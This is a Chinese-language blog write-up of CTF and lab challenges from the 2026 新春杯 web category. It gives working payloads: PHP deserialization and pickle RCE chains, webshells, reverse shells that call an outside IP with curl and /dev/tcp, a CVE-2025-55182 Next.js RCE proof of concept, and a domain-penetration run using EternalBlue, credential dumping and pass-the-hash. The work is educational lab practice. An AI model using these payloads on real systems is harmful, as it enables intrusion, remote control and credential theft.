新春杯2026web方向wp(不含java)

让人变幸运的魔法

题目

<?php
highlight_file(__FILE__);
error_reporting(0);

function magic($param) {

    $unlucky_list = ['unlucky', 'bad', 'jinx', 'unfortunate'];
    foreach ($unlucky_list as $unlucky) {
        $param = str_replace($unlucky, 'lucky', $param);
    }
    return $param;
}

class Frieren{
    public $spell;
    public $target = 'Nobody';

    public function __construct($spell){
        $this -> spell = $spell;
    }

    public function __wakeup(){
        if ($this -> target !== 'Nobody'){
            echo "成功让".$this -> target."变得幸运!";
        }
    }
}

class Himmel{
    public $sword = "Himmel's sword";
    public $action;
    public function __toString(){
        if ($this -> action === 'try' && $this -> sword !== "Sword of the Hero"){
            echo "'这次的勇者也不是真正的勇者啊...'".PHP_EOL;
            echo "'假勇者又有何妨,我会消灭魔王,让世界恢复和平。'".PHP_EOL;
            $func = $this -> sword;
            $func();
        }else{
            return "真正的勇者?";
        }
    }
}

class Fern{
    public $book;

    public function __invoke(){
        $this -> book -> abliity;
    }
}

class Stark{
    private $ability;
    public function __get($name){
        eval($this -> ability);
    }
}

$spell = $_POST['spell'];
if (isset($spell)){
    $data = serialize(new Frieren($spell));
    $magic_data = magic($data);
    unserialize($magic_data);
}

解

$spell = $_POST['spell'];
if (isset($spell)){
    $data = serialize(new Frieren($spell));
    $magic_data = magic($data);
    unserialize($magic_data);
}

看到传入spell作为参数传入Frieren,一时间想不出来怎么做了,翻了翻以前反序列化的wp,发现题目中有个magic()有字符替换,诶?这不正好可以用来字符逃逸嘛

目标是让spell的内容被magic()替换掉一部分,导致字符增多,使spell的后面部分内容逃逸出来,可以让逃逸的这部分内容作为target的值

搞清楚原理剩下就是简单构造链了

先生成想要执行的内容

// 假设 $spell = "test"
$spell = "test";
$data = serialize(new Frieren($spell));

// $data 的内容将是:
O:7:"Frieren":2:{s:5:"spell";s:4:"test";s:6:"target";s:6:"Nobody";}
我们需要的不是s:6:"target";s:6:"Nobody";而是s:6:"target";O:6:"Himmel":2:{s:5:"sword";O:4:"Fern":1:{s:4:"book";O:5:"Stark":1:{s:7:"ability";s:13:"system("ls");";}}s:6:"action";s:3:"try";}}

要逃逸	";s:6:"target";O:6:"Himmel":2:{s:5:"sword";O:4:"Fern":1:{s:4:"book";O:5:"Stark":1:{s:7:"ability";s:13:"system("ls");";}}s:6:"action";s:3:"try";}}

正好magic()有能逃一个字符也有逃两个的,不用考虑数量不匹配额外增加字符数的情况,而且可以用flag,fl*,f*,微调字符数

payload:
spell=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadjinx";s:6:"target";O:6:"Himmel":2:{s:5:"sword";O:4:"Fern":1:{s:4:"book";O:5:"Stark":1:{s:7:"ability";s:19:"system('cat /fl*');";}}s:6:"action";s:3:"try";}}

其实这是第一次完整的做一道字符逃逸的题,还是有些曲折,尤其在确定哪些部分要逃逸时,以后学新东西还是要实操理解下

够了够了,谢谢大家

题目

Acc1oFl4g需要朋友圈集100个赞,你能帮帮他吗?

解

注册登录,发现每个账号只能点一次赞,点赞抓包image-20260209100708168

没发现什么好改动的地方,注册登录抓包,发现用户名密码都是明文传递,考虑脚本自动注册登录点赞

import requests
base_url = "	 靶机		"
for i in range(100, 200):  
    # 创建会话
    s = requests.Session()
    
    # 设置请求头
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    # 生成u和p
    u = f"user{i}"
    p = "111"  
    
    try:
        注册响应 = s.post(f"{base_url}/register.php", data={'username': u,'password': p}, headers=headers)   
        登录响应 = s.post(f"{base_url}/login.php", data={'username': u,'password': p}, headers=headers)
        点赞响应 = s.post(f"{base_url}/weechatt.php", data={'like': ''}, headers=headers)
    except Exception as e:
        print(f"第{i}次请求失败: {e}")
        continue                      

疑问

复现的时候把用户名改成u = "{i}"发现失败了
注册登录成功了,但是点赞失败
登录账号后发现手动点赞也失败
为啥呢

pttole

紧急补充知识

在Bottle框架中,如果使用 request.get_cookie() 方法中secret 参数,表示cookie是经过签名的。当cookie被签名后,Bottle会尝试反序列化其内容。默认情况下,Bottle使用 Pickle 来序列化和反序列化cookie数据

https://blog.csdn.net/Python1111111/article/details/147113678?fromshare=blogdetail&sharetype=blogdetail&sharerId=147113678&sharerefer=PC&sharesource=2503_92763665&sharefrom=from_link

题目

python里老生常谈的安全问题

hint:bottle框架的cookie解析存在pickle反序列化的问题

解

没有hint还真是难想,老生常谈我还以为是ssti呢

下载附件,有些发现

SECRET_KEY: str = "h3ckTheworld123"
    ADMIN_USERNAME: str = "admin"
    ADMIN_PASSWORD: str = "adminpass"
    
    GUEST_USERNAME: str = "guest"
    GUEST_PASSWORD: str = "guestpass"

看到有from bottle import request, template, redirect确定使用bottle框架

from bottle import Bottle, request, response,run, route

class cmd():
     def __reduce__(self):
         return (exec,("__import__('os').popen('cat /f*>login').read()",))

c = cmd()
 #session = {"name":c}
response.set_cookie("name",c,secret="h3ckTheworld123")
print(response._cookies)

ez_uns

题目

 <?php
highlight_file(__FILE__);
class Acc1oFl4g
{
    public $shql;
    public $tou;
    public function exec()
    {
        if (strpos($this->tou, 'S:') === false) {
            $gxn = serialize(unserialize($this->tou));
            $gxngxngxn = unserialize($gxn);
            if ($gxn != $this->tou && $gxngxngxn instanceof Amoda) {
                include($gxngxngxn->act());
            }
        } else {
            throw new Exception("不会本地调试怕是写不出来了");
        }
    }
    public function __destruct()
    {
        if ($this->shql == "admin") {
            $this->exec();
        }
    }
}

class Amoda
{
    protected $q1;
    protected $q2;

    public function act()
    {
        if (!is_string($this->q1) || !is_string($this->q2)) {
            throw new Exception("不会本地调试怕是写不出来了");
        }
        $result = $this->q1 . '不会本地调试怕是写不出来了' . $this->q2;
        if (strpos($result, 'convert') !== false) {
            throw new Exception("不会本地调试怕是写不出来了");
        }
        return $result;

    }
}

$web = $_POST["webweb"];
if (stripos($web, 'admin') !== false && stripos($web, 'Amoda":') == false) {

    exit ("不会本地调试怕是写不出来了");
}

$webb = unserialize($web);
throw new Exception("不会本地调试怕是写不出来了");

解

ezuns一点也不ez

很多问题,我们一个个看

  1. $tou需要serialize(unserialize())之后与原本不同

    $gxn = serialize(unserialize($this->tou));
                $gxngxngxn = unserialize($gxn);
                if ($gxn != $this->tou
    

    可以在$tou的结尾放两个空格(ai神力,真想不到)

  2. 需要$gxngxngxn instanceof Amoda

    我们可以直接让$tou能直接new Amoda();

  3. 绕过最后的异常抛出

    用那个gc回收机制,新建个数组,第一个内容是命令,第二个内容为null,然后把第二个的键内容改为第一个的键

  4. 如何构造q1,q2

    $result = $this->q1 . '不会本地调试怕是写不出来了' . $this->q2;
    

    拼接后作为参数传给include(),思考伪协议,其实最开始是想q1作为完整语句,然后闭合或注释掉后面内容,不过失败,原因应该是,include不是将其参数换成字符串再读取,而是直接识别(不会形容大概是那意思),所以闭合和注释会失败,想到之前做过一道题,在最后找flag的时候用目录穿越,提到xxxx/../../这种形式穿越时,不管前面xxxx这个文件是否存在,都可以进行穿越,感觉这个汉字就可以作为xxxx,事实证明,是这样的

  5. Amoda中存在protected属性,需要保护其序列化后格式

    url编码后再输出

<?php
highlight_file(__FILE__);
class Acc1oFl4g
{
    public $shql;
    public $tou;
    public function exec()
    {
        
    }
    public function __destruct()
    {
        
    }
}

class Amoda
{
    protected $q1='php://filter/resource=';
    protected $q2='/../../../../flag';

    public function act()
    {
        

    }
}

$b=new Amoda();
$a=new Acc1oFl4g();
$a->shql = "admin";
#满足$tou序列化反序列化后与原先不同
$a->tou = serialize($b).'  ';
#绕过异常抛出,触发destruct
$d=array('a'=>$a,'e'=>null);
$c=str_replace('"e";N', '"a";N', serialize($d));
#保护protected属性格式不被破坏
echo urlencode($c);
最终paoload:
a%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A9%3A%22Acc1oFl4g%22%3A2%3A%7Bs%3A4%3A%22shql%22%3Bs%3A5%3A%22admin%22%3Bs%3A3%3A%22tou%22%3Bs%3A97%3A%22O%3A5%3A%22Amoda%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00q1%22%3Bs%3A22%3A%22php%3A%2F%2Ffilter%2Fresource%3D%22%3Bs%3A5%3A%22%00%2A%00q2%22%3Bs%3A17%3A%22%2F..%2F..%2F..%2F..%2Fflag%22%3B%7D++%22%3B%7Ds%3A1%3A%22a%22%3BN%3B%7D

失语

紧急补充知识

https://blog.csdn.net/q20010619/article/details/109206728

https://arsenetang.github.io/2021/08/06/RCE篇之限制长度的命令执行/

题目

<?php
session_start();
highlight_file(__FILE__);

if(!isset($_SESSION['sandbox'])){
    $_SESSION['sandbox'] = bin2hex(random_bytes(8));
}

$sandbox = $_SESSION['sandbox'];

if(!is_dir($sandbox)){
    mkdir($sandbox);
}

chdir($sandbox);

echo "Sandbox: ".getcwd();

if(isset($_REQUEST['Mutsumi']) && strlen($_REQUEST['Mutsumi']) <= 4){
    exec($_REQUEST['Mutsumi']);
}
?> Sandbox: /var/www/html/1ba199be4fd24489

解

刚开始找现成的脚本发现有好多没传上去,奇怪很久

后来才意识到为什么脚本用的字典里有很多\,那是因为要在python里转义用的,我们传的时候不需要那些,把多余\删掉然后手搓就好了

再访问沙箱里的1.php进行POST去rce就好了

搬一段“紧急补充知识”里的内容讲讲字典生成的思路吧

一句话:<?php eval($_POST[1]);
base编码后:PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
写入的命令:echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php
这里的空格要用${IFS}来代替,避免一句话中存在两个空格
>dir
>f\>
>ht-
>sl
*>v
>rev 
*v>0
>hp
>p\\
>1.\
>\>\
>-d\
>\ \
>64\
>se\
>ba\
>\|\
>\=\
>w=\
>pO\
>V0\
>bM\
>1R\
>PU\
>1B\
>kX\
>Cg\
>hb\
>XZ\
>gZ\
>HA\
>a\\
>9w\
>PD\
>S}\
>IF\
>{\\
>\$\
>o\\
>ch\
>e\\
sh 0
sh f

文章里给的base64编码的原因是存在<?字符,但是实际尝试发现><和>?都可以生成相应文件名的文件,是不是不用base64也可以

wp写的有些匆忙,有空得尝试用脚本(python和burp),和没有base64的一句话,还要反弹shell的多解,提上日程

复现

疑问解答

  1. Q1:为什么脚本传参,沙箱却显示没有
if(!isset($_SESSION['sandbox'])){
    $_SESSION['sandbox'] = bin2hex(random_bytes(8));
}

$sandbox = $_SESSION['sandbox']; 

之前的脚本不能用的原因在于启用的新的会话,又生成了一个沙箱,应该成功执行命令了但是在另一个沙箱里我们看不到,而burp只是在我们会话中改了参数,所以沙箱不会变,脚本的改进方法是在脚本中指定cookie,用已有对话

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
import time
url = "http://175.27.251.122:34991/?Mutsumi={0}"
print("[+]start attack!!!")
session = requests.Session()
delay_time = 0.2
headers = {
    'Cookie': 'PHPSESSID=6b5e910566dc3acb6f1bc61a2155d792'
}
with open("C:/Users/Eternal/Desktop/pay.txt","r") as f:
    for i in f:
        print("[*]" + url.format(i.strip()))
        session.get(url.format(i.strip()),headers=headers)
        time.sleep(delay_time)
  1. Q2:为什么burp传的参数顺序乱

    明明已经设置了最大并行数为1为什么还是乱的?

    其实跟这个没关系,是我们的字典有问题

    >rev后面多了一个空格,没法正常反转,怪不得顺序会乱

附上正确payload

>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>hp
>p\
>1.\
>\>\
>-d\
>\ \
>64\
>se\
>ba\
>\|\
>\=\
>w=\
>pO\
>V0\
>bM\
>1R\
>PU\
>1B\
>kX\
>Cg\
>hb\
>XZ\
>gZ\
>HA\
>a\
>9w\
>PD\
>S}\
>IF\
>{\\
>\$\
>o\
>ch\
>e\
sh 0
sh f

把post[1]的马写进1.php

反弹shell法

走了好多弯路,刚开始想写curl 110.42.47.186:8899 | bash然后执行

>dir
>g\>
>ht-
>sl
*>v
>rev
*v>x
>1
>\>\
>-d\
>\ \
>64\
>se\
>ba\
>\|\
>No\
>YX\
>Bi\
>fC\
>kg\
>OT\
>g4\
>Oj\
>g2\
>MT\
>cu\
>ND\
>Iu\
>D\
>uN\
>TA\
>xM\
>CA\
>yb\
>3V\
>Y\
>S}\
>IF\
>{\\
>\$\
>o\
>ch\
>e\
sh x
sh g
sh 1

echo${IFS}Y3VybCAxMTAuNDIuNDcuMTg2Ojg4OTkgfCBiYXNo|base64 -d>1
curl 110.42.47.186:8899 | bash

但是执行完没有反应,我看了一眼写入的东西,怎么变成了curl 110.49n47.186:8899 | bash,kao,原来curl 110.42.47.186:8899 | bash编码是Y3VybCAxMTAuNDIuNDcuMTg2Ojg4OTkgfCBiYXNo
而curl 110.49n47.186:8899 | bash编码是Y3VybCAxMTAuNDluNDcuMTg2Ojg4OTkgfCBiYXNo
一个是lu一个是Iu,小写L和大写i弄混了我服了

然后在vpspython -m http.server 8899,但为啥vps还是没回显呢,探索了半天发现是防火墙给拦住了...systemctl stop firewalld先把防火墙关一下吧

太棒了vps终于有回显了,我在目录下放了个马,但是没啥用,问ds应该是因为bash只是执行命令而不保存(保存了也不一定能找到在哪),而且木马是用php写的他也执行不了,我又把vps目录下文件内容改成bash -i >& /dev/tcp/110.42.47.186/8898 0>&1,又开放 nc -lvnp 8898监听,想法是开放python -m http.server 8899让靶机执行目录下文件命令反弹shell到8898端口,但只有http端口8899接收到访问,8898监听端口并没有受到反弹shell

才意识到可以直接把bash -i >& /dev/tcp/110.42.47.186/8898 0>&1写进靶机执行而不用curl,想少打点字就简化成了sh -i >& /dev/tcp/110.42.47.186/8898结果执行不了(ds你不说这样可以吗),还是老老实实写bash -i >& /dev/tcp/110.42.47.186/8898 0>&1吧

然后还是不行,文件x和g都有内容但是1没有,推测是payload错了,检查一遍,果然,tg写成tk了....

再试一遍,wk还是不行,原来>mM忘加\了

为什么还是不行!!!好吧居然有两个Tg

还是不行呢,ds说可能是云服务器啥设置没开8898端口,那我换成8888

no!为什么?!

image-20260212185443563

不早说!!!

image-20260212191457440

image-20260212191510570

听ds的把-i删掉,bash -c 'bash >& /dev/tcp/110.42.47.186/8888 0>&1'

image-20260212193357370

太棒了!赶紧把payload记下来

>dir
>g\>
>ht-
>sl
*>v
>rev
*v>x
>1
>\>\
>-d\
>\ \
>64\
>se\
>ba\
>\|\
>=\
>Sc\
>mM\
>D4\
>gM\
>Dg\
>4O\
>zg\
>2L\
>g\
>T\
>uM\
>Dc\
>N\
>Iu\
>ND\
>Au\
>MT\
>8x\
>cC\
>Rj\
>L3\
>V2\
>ZG\
>Av\
>Ji\
>+\
>A\
>C\
>a\
>z\
>mF\
>Y\
>An\
>Yy\
>At\
>aC\
>Fz\
>Ym\
>S}\
>IF\
>{\\
>\$\
>o\
>ch\
>e\
sh x
sh g
sh 1

`echo${IFS}YmFzaCAtYyAnYmFzaCA+JiAvZGV2L3RjcC8xMTAuNDIuNDcuMTg2Lzg4ODggMD4mMSc=|base64 -d>1`
bash -c 'bash >& /dev/tcp/110.42.47.186/8888 0>&1'

image-20260212195527528

Acc's Blog

题目

hint:.user.ini时区配置报错image-20260209112736894

思路

了解到.user.ini可以进行时区配置,发现上传时可以目录穿越一层

上传../.user.ini
内容为date.timezone = "Invalid/Timezone"

发现确实时间位置报错了,然后嘞?

以下为复现内容

如果 date.timezone 设置的值不符合格式,PHP 在调⽤时间函数时会报 Warning,且不杀死进程

需要目标 PHP 页面里调用了 date() 或类似的时间函数才能触发。

并且默认给报错内容添加html转义,所以需要关闭html转义。

上传../.user.ini 内容为

log_errors = On
html_errors = Off
error_log = ./shell.php
date.timezone = "<?php @eval($_POST['cmd']);?>"

然后访问./shell.php进行rce

image-20260410175101431

osint

题目

微信图片_20260207231144

解

显示屏排除内地,港澳台?

左边mop锁定澳门

剩下交给ai了

Arknights_solver

考点

  • CVE-2025-55182(React)
  • CVE-2025-66478(Next.js)

题目

提示:cve

附件:一堆文件,重要的是README里提到了Next.js 15 + React 19

解

参考文章

https://www.freebuf.com/articles/vuls/461169.html

https://cloud.tencent.com/developer/article/2607986

https://candyb0x.github.io/2025/12/05/React-框架-CVE-2025-55182-CVE-2025-66478-RCE漏洞复现/

漏洞影响范围

React 19.0
19.1.0 <= React < 19.1.2
React == 19.2.0

14.3.0-canary.77 <= Next.js < 15.0.5
15.1.0 <= Next.js < 15.1.9
15.2.0 <= Next.js < 15.2.6
15.3.0 <= Next.js < 15.3.6
15.4.0 <= Next.js < 15.4.8
15.5.0 <= Next.js < 15.5.7
16.0.0 <= Next.js < 16.0.7

POC

POST / HTTP/1.1
Host: 175.27.251.122:35070
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 606

------Boundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=encodeURIComponent(process.mainModule.require('child_process').execSync('这里放执行的命令').toString().trim());;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------Boundary
Content-Disposition: form-data; name="1"

"$@0"
------Boundary
Content-Disposition: form-data; name="2"

[]
------Boundary--

预期响应30*,回显在/login?a=FLAG

本题flag在环境变量里

域渗透

前言

第一次接触域渗透,一点想法都没有

题目

案件背景:超级飞侠在出警的时候捣毁了一个犯罪窝点,收获了三台机器,但是并不知道密码,于是聘请你作为渗透顾问,从中获取重要信息。

IMG_256

请修改虚拟网络编辑器如下配置

仅主机网卡VMware1(192.168.50.0)

NAT网卡VMware8(192.168.80.0)

请把所有机器返回快照

访问http://192.168.80.121:3000/即可开始你的渗透之旅

解

flag1

访问http://192.168.80.121:3000/

image-20260309145240240

next.js框架,用脚本

python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "ls /"

image-20260309145819528

想了半天不知道为啥命令都没回显,后来回过神是windows系统

python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "powershell cat C:/Users/N1tols/flag/f*"
#或者
python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "type C:\\\\Users\\\\N1tols\\\\flag\\\\f*"
#目标是C:\Users\N1tols\flag\f*,但是反斜杠在cmd中需要再加一个反斜杠转义,所以要给目标的cmd传两个反斜杠,但是python解析时也需要再加反斜杠转义已有的反斜杠,所以再给每个反斜杠前加上一个反斜杠,一共四个反斜杠

(还有个CVE-2025-55182的工具,不挨个试了

https://github.com/ynsmroztas/NextRce

)

flag2

python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "net user eter QQWWeerr# /add"

原理:net user是Windows系统命令,用于创建本地用户。/add参数表示新增用户。

这里需要注意win10的密码规则

不能包含用户的帐户名,不能包含用户姓名中超过两个连续字符的部分
至少有六个字符长
包含以下四类字符中的三类字符:
英文大写字母(A 到 Z)
英文小写字母(a 到 z)
10 个基本数字(0 到 9)
非字母字符(例如 !、$、#、%)

验证用户创建成功

python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "powershell Get-LocalUser"

image-20260314082533560

python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "net localgroup Administrators eter /add"

原理:net localgroup将用户添加到本地管理员组,获得系统最高权限。

验证是否加入管理员组

 python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "net localgroup administrators"

image-20260314082808842

python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "wmic rdtoggle where AllowTSConnections=0 call SetAllowTSConnections 1"

原理:WMIC(Windows Management Instrumentation Command)通过WMI修改远程桌面配置,将AllowTSConnections设为1开启RDP。

python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "netsh advfirewall set allprofiles state off"

原理:netsh是网络配置工具,关闭所有防火墙配置文件,确保后续连接不被拦截。

python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "shutdown /r /t 0"

原理:shutdown /r重启系统,/t 0立即执行,使所有配置生效。

mstsc /v:192.168.80.121

连接远程桌面

上传fscan扫描工具

# 本地启动HTTP服务器
python -m http.server 8000

# 靶机下载fscan
python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "certutil -urlcache -f http://192.168.80.1:8000/fscan.exe C:\\Windows\\Temp\\fscan.exe"

原理:certutil是Windows证书管理工具,可用来下载文件。fscan是内网扫描工具。

扫描内网

python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "C:\\Windows\\Temp\\fscan.exe -h 192.168.50.0/24"

原理:fscan扫描内网段,发现存活主机192.168.50.12(存在永恒之蓝漏洞)。

实操时扫描太慢,可以设置高并发数

fscan.exe -t 500 -h 192.168.50.0/24

image-20260314090159594

[2026-03-14 08:58:00] [SUCCESS] 发现漏洞 192.168.50.12 [Windows 7 Ultimate 7601 Service Pack 1] MS17-010

永恒之蓝

注意:

以上步骤也可以直接用eter/QQWWeerr#登录后,直接把fcan复制进去运行,而且不用连接客户端和靶机(感觉更快),不过考虑到模拟真实渗透的话,还是要熟悉下远程操作步骤

Stowaway代理搭建

3.1 攻击机启动服务端
./linux_x64_admin -l 1234 -s 123

原理:-l 1234监听端口,-s设置连接密码。

3.2 靶机连接客户端
python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "C:\\path\\windows_x64_agent.exe -c 192.168.80.100:1234 -s 1234 --reconnect 8"

原理:agent连接服务端,建立加密隧道,--reconnect 8断线自动重连。

3.3 开启socks代理
# 在反弹到kali的admin控制台中
use 0  # 选择第一个节点
socks 7777  # 开启socks5代理

原理:将内网流量通过socks协议转发,使攻击机能访问内网资源。image-20260314095024775

永恒之蓝利用

4.1 MSF配置代理
setg Proxies socks5:172.24.240.1:7777

原理:MSF全局代理设置,所有后续攻击流量都通过socks5隧道。

4.2 攻击配置
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.50.12
set payload windows/x64/meterpreter/bind_tcp_uuid
exploit

原理:bind_tcp_uuid让靶机监听端口等待连接(避免出站连接被拦截)。

成功getshell

4.3 获取flag02
shell
dir /s /b /a-d "C:\Users\*" 2>nul | findstr /i /c:"flag"
type C:\Users\Administrator\flag\flag02.txt.txt

原理:dir /s递归搜索,/b简洁格式,/a-d排除目录,findstr筛选包含flag的行。

flag3

在msf中弹回的shell中执行

exit #退出shell,下面两行都在Meterpreter会话中执行
load kiwi 
creds_all

拿到域管理员密码哈希

5.1 哈希传递攻击

法一:Metasploit中执行
use exploit/windows/smb/psexec
set RHOSTS 192.168.50.57
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:5d6c07b46d10bb00d41dd3dc85e8bbbc
set SMBDomain N1tols.region
msf6 > set PAYLOAD windows/x64/meterpreter/bind_tcp
msf6 > run
dir /s /b /a-d "C:\Users\*" 2>nul | findstr /i /c:"flag"
type C:\Users\N1tols1\flag\flag03.txt.txt
法二:kali中执行
proxychains4 impacket-psexec N1tols.region/administrator@192.168.50.57 -hashes
:5d6c07b46d10bb00d41dd3dc85e8bbbc

第一次使用时候需要更改默认代理,问ds就好了

拿到shell

dir /s /b C:\*flag*
#或者直接读取出来
for /f %i in ('dir /s /b C:\*flag* 2^>nul') do @type "%i" & echo

flag{congratulations_on_mastering_the_simplest_domain_penetration_technique!}

后言

还有多解

2026新春杯——域渗透-FOXDOG

2026 新春杯 域渗透 WP-1ceLAND

1ceLAND的比较难,以后再研究

题好难,而且没能恢复快照

posted @ 2026-04-16 16:50  E73RN4L  阅读(34)  评论(0)    收藏  举报